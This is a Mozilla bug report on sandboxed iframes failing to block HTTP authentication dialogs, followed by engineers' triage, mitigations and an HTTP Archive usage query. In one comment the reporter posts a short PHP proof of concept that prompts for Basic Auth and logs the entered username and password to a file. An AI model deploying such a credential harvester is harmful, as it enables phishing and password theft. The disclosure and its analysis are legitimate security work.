1830519 - Iframe with sandbox not block HTTP authentication dialogs

Status: NEW

(Core :: DOM: Core & HTML, defect, P3)

Description

[phor3nsic]

User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36

Steps to reproduce:

If you set <iframe sandbox src=""> the iframe block alert, confirm, prompt, because the content is not spoofing the final app.

But if you send one url with authentication message, this popup has been shown.

One example, see this poc page:
https://http-auth-sandbox.glitch.me/

Actual results:

The popup has been shown, this message possibility attacker use to phishing get credentials, because victim think this popup its from the original app!

Expected results:

This iframe should block this popup and the victim not see the dialog to send credentials!

Comment 1

[Daniel Veditz [:dveditz]]

This example works the same in Firefox (Gecko), Safari (Webkit), and Chrome (Blink). Clearly the sandbox specification authors did not consider HTTP auth to be the same thing as the JavaScript prompts you mention, since those can contain arbitrary text.

because victim think this popup its from the original app!

The Firefox version of this prompt includes "Warning: you login information will be shared with <othersite>, not the website you are currently visiting." in an attempt to disrupt this kind of spoofing (but of course users might not read that).

Extremely few sites use HTTP Auth. As a spoofing attack you'd need to 1) find one that does use it, 2) hosts user content in a sandbox for security, 3) convince someone that although they are seeing pages from the victim site that requires log in, somehow they need to log in again (sending the password to the attacker).

This should be discussed as part of the standards governing the sandbox feature. I'm not convinced this needs to remain hidden.

Comment 2

[phor3nsic]

Hi @dveditz,

I hope you are ok,
So the flux of the attack not is focused on this sequence,

1. I find the iframe sandbox, my content is storage on page with iframe sandbox,
2. i make one server with basic auth example:

<?php
if (isset($_SERVER['PHP_AUTH_USER']) && isset($_SERVER['PHP_AUTH_PW'])) {
    $credentials = $_SERVER['PHP_AUTH_USER'] . ':' . $_SERVER['PHP_AUTH_PW'] . "\n";
    file_put_contents('credentials.txt', $credentials, FILE_APPEND);
}

$username = isset($_SERVER['PHP_AUTH_USER']) ? $_SERVER['PHP_AUTH_USER'] : '';
$password = isset($_SERVER['PHP_AUTH_PW']) ? $_SERVER['PHP_AUTH_PW'] : '';

if ($username !== 'xxxxxx' || $password !== 'xxxxx') {
    header('WWW-Authenticate: Basic realm="Restricted Area"');
    header('HTTP/1.0 401 Unauthorized');
    echo 'Access denied';
    exit;
}

echo 'Welcome to the restricted area';

3. Now victim, send credentials on auth dialog, and hacker get credentials!

Comment 3

[Sean Feng [:sefeng]]

I think we could downgrade this to S3 if we agree, however I feel we should label this as S2 for now to continue the discussion.

Comment 4

[Daniel Veditz [:dveditz]]

I don't understand how comment 2 differs from what you originally described, or how it contradicts what I said in comment 1 (though perhaps not clearly enough). As I understand it, the problem you describe has two aspects:

1. the sandbox attribute does not block an HTTP Auth prompt, unlike the alert() family of prompts (controlled by the allow-modals sandbox attribute) and "popups" like window.open() (controlled by the allow-popups sandbox attribute and others).

2. HTTP Auth from a cross-origin frame could fool a user into giving away the credentials for the top-level site if they are not careful

Is there something else I missed?

#1 appears to be a choice (or oversight?) of the specification, and all browsers appear to allow it. This should be addressed with the specification so all browsers work compatibly. Otherwise, if only one browser starts enforcing this users will get mad at their "broken" browser and could switch. See https://github.com/whatwg/html/issues

#2 is a spoofing problem whether or not the frame is sandboxed. We're aware, and we've tried to reduce the problem. But many times we run into problems where we've broken some site with enough users that we've had to back off. See bug 647010 and bug 1704346, for instance. We tried to make the dialog a little less spoofy by adding a warning that this is not the top-most site in bug 1230462.

Mitigating factors that help protect users:

• HTTP Auth is not used by many sites. Even if you don't read the warning it will not look like the normal login for the site you're on
• password managers won't be fooled, so if you use a password manager you will hopefully look closer when it doesn't autofill like normal
• if the target site uses Web Authentication ("passkeys") that can't be spoofed in this way

I wish we'd gotten further in blocking more cases of this under bug 647010. It's very hard to measure usage of this on the web.

Comment 5

[phor3nsic]

Hi @dveditz,

I would like to apologize in case my messages were not clear and objective. I do not intend to consume your time.

I reported this issue because I believe it has the potential to impact applications that rely on the use of iframes with sandbox, which could be a "trick" to scale a malicious insertion in the iframe.

In the second message, I tried to demonstrate through my point of view what could be possible to achieve from an app with a sandboxed iframe and a malicious agent, with the developer himself creating their server with basic auth and extracting victims' passwords from their interactions.

I would like to thank everyone for their patience!

Best Regards,
@phor3nsic

Comment 6

[Daniel Veditz [:dveditz]]

Thanks. I'm going to unhide this because this spoofing issue is generally known. Maybe this will spark conversations with the iframe sandbox folks if they can see it.

Comment 7

[Simon Pieters [:zcorpan]]

NI? me to query httparchive for number of sites with cross-origin iframes that use HTTP Auth

Comment 8

[Simon Pieters [:zcorpan]]

SELECT
  *
FROM
  `httparchive.summary_requests.2023_05_01_desktop` # TABLESAMPLE SYSTEM (1 PERCENT)
WHERE
  firstHTML = FALSE
  AND status = 401
  AND REGEXP_CONTAINS(respOtherHeaders, r'(?i)(?:www-authenticate)')
  AND REGEXP_CONTAINS(reqOtherHeaders, r'Sec-Fetch-Dest = i?frame')
  AND REGEXP_CONTAINS(reqOtherHeaders, r'Sec-Fetch-Site = (?:cross|same)-site')

7 matches, out of the total 12,808,711 pages so 0.00005% of pages use cross-origin HTTP Auth in an iframe.

Joining the result with summary_pages to get the page's url and rank:

SELECT
  summary_pages.url AS page, summary_pages.rank AS rank, requestid, x.pageid, x.startedDateTime, x.time, x.method, x.url, x.urlShort, x.redirectUrl, x.firstReq, x.firstHtml, x.reqHttpVersion, x.reqHeadersSize, x.reqBodySize, x.reqCookieLen, x.reqOtherHeaders, x.status, x.respHttpVersion, x.respHeadersSize, x.respBodySize, x.respSize, x.respCookieLen, x.expAge, x.mimeType, x.respOtherHeaders, x.req_accept, x.req_accept_charset, x.req_accept_encoding, x.req_accept_language, x.req_connection, x.req_host, x.req_if_modified_since, x.req_if_none_match, x.req_referer, x.req_user_agent, x.resp_accept_ranges, x.resp_age, x.resp_cache_control, x.resp_connection, x.resp_content_encoding, x.resp_content_language, x.resp_content_length, x.resp_content_location, x.resp_content_type, x.resp_date, x.resp_etag, x.resp_expires, x.resp_keep_alive, x.resp_last_modified, x.resp_location, x.resp_pragma, x.resp_server, x.resp_transfer_encoding, x.resp_vary, x.resp_via, x.resp_x_powered_by, x._cdn_provider, x._gzip_save, x.crawlid, x.type, x.ext, x.format
FROM
  `mozdata.analysis.spieters_webcompat_bug1830519` AS x
JOIN
  `httparchive.summary_pages.2023_05_01_desktop` AS summary_pages
USING
  (pageid)

Result: https://docs.google.com/spreadsheets/d/1xZiDjErWmtEfG0pgsk-kn6cKlPNghueghuf27PHuHFM/edit?usp=sharing

The pages are:

page	rank
https://traffic.ipweb.pro/	50000000
https://asker.obisoft.no/	10000000
https://tms.knpc.net/	5000000
https://cms.nerima-tky.ed.jp/	1000000
https://agencygateway-crt.allstate.com/	50000000
http://aaarp.org/	50000000
https://www.nerima-tky.ed.jp/	1000000

Comment 9

[Daniel Veditz [:dveditz]]

Sorry for the burst of bugspam: filter on tinkling-glitter-filtrate
Adding reporter-external keyword to security bugs found by non-employees for accounting reasons